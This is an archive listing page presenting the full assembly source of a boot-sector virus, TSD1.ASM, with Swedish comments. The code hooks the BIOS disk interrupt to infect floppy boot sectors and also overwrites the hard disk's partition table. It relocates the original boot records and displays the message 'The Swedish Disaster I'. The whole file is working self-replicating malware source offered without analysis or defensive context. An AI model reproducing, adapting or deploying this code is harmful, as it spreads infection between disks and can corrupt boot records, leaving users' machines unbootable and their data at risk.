home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / TSD1.ASM < prev    next >
Assembly Source File  |  1991-04-08  |  4KB  |  260 lines

  1. ; Senast ändrad 891213.
  2. ;
  3. ; Lägger gamla bootsectorn på sida 1, spår 0, sector 3.
  4. ;                             sida 0, spår 0, sector 7 på HD.
  5.  
  6.  
  7. Code    Segment
  8.     Assume    cs:Code
  9.     Org    0000h
  10.  
  11. Main    Proc    Far
  12.     db    0EAh,05h,00h,0C0h,07h
  13.  
  14.     jmp    Near Ptr Init        ; Hoppa förbi variabler och nya int13h
  15.  
  16.  
  17. ; Variabler
  18.  
  19. Old13h    dd    0            ; Gamla vectorn till diskfunktionerna.
  20.  
  21. TmpVec    dd    0            ; Temporär vec. vid ändring av int 13.
  22.  
  23. BootPek    dw    0003h,0100h
  24.  
  25. ; Slut på variabler
  26.  
  27.  
  28.  
  29. Int13h    Proc    Near
  30.         push    ds
  31.     push    ax
  32.     push    bx
  33.  
  34.      cmp    dl,00h            ; Drive A
  35.     jne    Exit
  36.  
  37.     cmp    ah,02h
  38.     jb    Exit
  39.     cmp    ah,04h
  40.     ja    Exit             ; Kolla så att func. 2-4
  41.  
  42.     sub    ax,ax
  43.     mov    ds,ax
  44.     mov    bx,043Fh        ; Motor status byte.
  45.     test    Byte Ptr [bx],01h     ; Testa om motorn i A: är på..
  46.     jnz    Exit            ; Nej,hoppa till gamla int 13h
  47.  
  48.     call    Smitta
  49.  
  50. Exit:     pop    bx
  51.     pop    ax
  52.     pop    ds
  53.      jmp    [Old13h]
  54.  
  55.  
  56. Smitta    Proc    Near
  57.     push    cx
  58.     push    dx
  59.     push    si
  60.     push    di
  61.     push    es
  62.  
  63.     push    cs
  64.     pop    es
  65.     push    cs
  66.     pop    ds
  67.  
  68.     mov    si,0004h        ; Max antal försök.
  69.  
  70. Retry:    mov    ax,0201h        ; Läs en sector
  71.     mov    bx,0200h                ; Läs hit.
  72.     mov    cx,0001h        ; Spår 0 Sector 1
  73.     sub    dx,dx            ; Sida 0 Drive 0
  74.     pushf
  75.     call    [Old13h]         ; Läs in booten.
  76.  
  77.     jnc    OK
  78.  
  79.     dec    si
  80.     jz    Slut             ; Hoppa ur om fel.
  81.     jmp    Retry             ; Försök max 4 gånger.
  82.  
  83.  
  84. OK:    mov    si,0200h
  85.     sub    di,di
  86.     cld
  87.     lodsw
  88.     cmp    ax,[di]
  89.     jne    L2
  90.     lodsw
  91.     cmp    ax,[di+2]
  92.     jne    L2
  93.     jmp    Slut
  94.  
  95. L2:    mov    ax,0301h                ; Skriv en sector.
  96.     mov    bx,0200h
  97.     mov    cx,0003h        ; Spår 0 Sector 3
  98.     mov    dx,0100h        ; Sida 1 Drive 0
  99.     pushf
  100.     call    [Old13h]        ; Flytta boot sectorn.
  101.  
  102.     mov    ax,0301h
  103.     sub    bx,bx
  104.     mov    cx,0001h
  105.     sub    dx,dx
  106.     pushf
  107.     call     [Old13h]        ; Skriv ner viruset till booten.
  108.  
  109. Slut:    pop     es
  110.     pop    di
  111.     pop    si
  112.     pop    dx
  113.     pop    cx
  114.     ret
  115. Smitta    Endp
  116. Int13h    Endp
  117.  
  118. Init:    sub    ax,ax
  119.     mov    ds,ax            ; Nollar ds för att ändra vect.
  120.  
  121.      cli
  122.      mov    ss,ax
  123.      mov    sp,7C00h
  124.      sti                ; Sätter upp en ny stack.
  125.  
  126.     push    cs
  127.     pop    es
  128.     mov    di,Offset Old13h
  129.     mov    si,004Ch
  130.     mov    cx,0004h
  131.     cld
  132.     rep    movsb            ; Flytta int 13h vectorn.
  133.  
  134.     mov    bx,0413h
  135.     mov    ax,[bx]            ; Minnesstorleken till ax.
  136.     dec    ax
  137.     dec    ax
  138.     mov    [bx],ax            ; Reservera plats för viruset.
  139.  
  140.     mov    cl,06h
  141.     shl    ax,cl
  142.     mov    es,ax            ; Omvandla till segment addres.
  143.  
  144.     mov    Word Ptr TmpVec,Offset Int13h
  145.     mov    Word Ptr TmpVec+2,es
  146.      push    es
  147.     sub    ax,ax
  148.     mov    es,ax
  149.     push    cs
  150.     pop    ds
  151.     mov    si,Offset TmpVec
  152.     mov    di,004Ch
  153.     mov    cx,0004h
  154.     rep    movsb
  155.     pop    es
  156.  
  157.     sub    si,si
  158.     mov    di,si
  159.     mov    cx,0200h        ; Hela viruset + lite till.
  160.      rep    movsb
  161.  
  162.     mov    ax,Offset Here
  163.     push    es
  164.     push    ax
  165.     ret                ; Hoppa till viruset.
  166.  
  167. Here:    sub    ax,ax
  168.     int    13h              ; Återställ driven
  169.  
  170.     sub    ax,ax
  171.     mov    es,ax
  172.     mov    ax,0201h                ; Läs en sector funk.
  173.     mov    bx,7C00h        ; Hit laddas booten normalt.
  174.     mov    cx,BootPek
  175.     mov    dx,BootPek+2
  176.     int    13h
  177.  
  178.     push    cs
  179.     pop    es
  180.     mov    ax,0201h
  181.     mov    bx,0200h
  182.     mov    cx,0001h
  183.     mov    dx,0080h
  184.     int    13h                     ; Läs in partions tabellen.
  185.     jc    Over
  186.     push    cs
  187.     pop    ds
  188.     mov    si,0200h
  189.     sub    di,di
  190.     lodsw
  191.     cmp    ax,[di]            ; Kolla om den är smittad.
  192.     jne    HdInf
  193.     lodsw
  194.     cmp    ax,[di+2]
  195.     jne    HdInf
  196.  
  197. Over:    mov    BootPek,0003h
  198.     mov    BootPek+2,0100h
  199.     sub    bx,bx
  200.     push    bx
  201.     mov    bx,7C00h
  202.     push    bx
  203.     ret                ; Kör den gamla booten.
  204.  
  205. HdInf:    mov    BootPek,0007h
  206.     mov    BootPek+2,0080h
  207.  
  208.     mov    ax,0301h
  209.     mov    bx,0200h
  210.     mov    cx,0007h
  211.     mov    dx,0080h
  212.     int    13h            ; Flytta orgin. part.tabellen.
  213.     jc    Over
  214.  
  215.     push    cs
  216.     pop    ds
  217.     push    cs
  218.     pop    es
  219.     mov    si,03BEh
  220.     mov    di,01BEh
  221.     mov    cx,0042h
  222.     cld
  223.     rep    movsb            ; Kopiera part. data till viruset.
  224.  
  225.     mov    ax,0301h
  226.     sub    bx,bx
  227.     mov    cx,0001h
  228.     mov    dx,0080h
  229.     int    13h            ; Skriv viruset till part. tabellen.
  230.  
  231.  
  232.     sub    ax,ax
  233.     mov    es,ax                   ; Kolla om msg:et ska skrivas ut.
  234.     test    Byte Ptr es:[046Ch],07h
  235.     jnz    HdInf1
  236.  
  237.     mov    si,Offset Txt           ; Detta utförs bara om man bootar från
  238.     cld                             ; diskett.
  239. Foo1:    lodsb
  240.     cmp    al,00h
  241.     je    HdInf1
  242.     mov    ah,0Eh
  243.     sub    bx,bx
  244.     int    10h
  245.     jmp    Foo1
  246.  
  247. HdInf1:    jmp    Over
  248.  
  249.  
  250. Slutet    Label    Byte            ; Används för att veta var slutet är.
  251.  
  252.  
  253. Txt    db    07h,0Ah,0Dh,'The Swedish Disaster I',0Ah,0Dh,00h
  254.  
  255.  
  256. Main    Endp
  257. Code    Ends
  258.     End
  259.  
  260.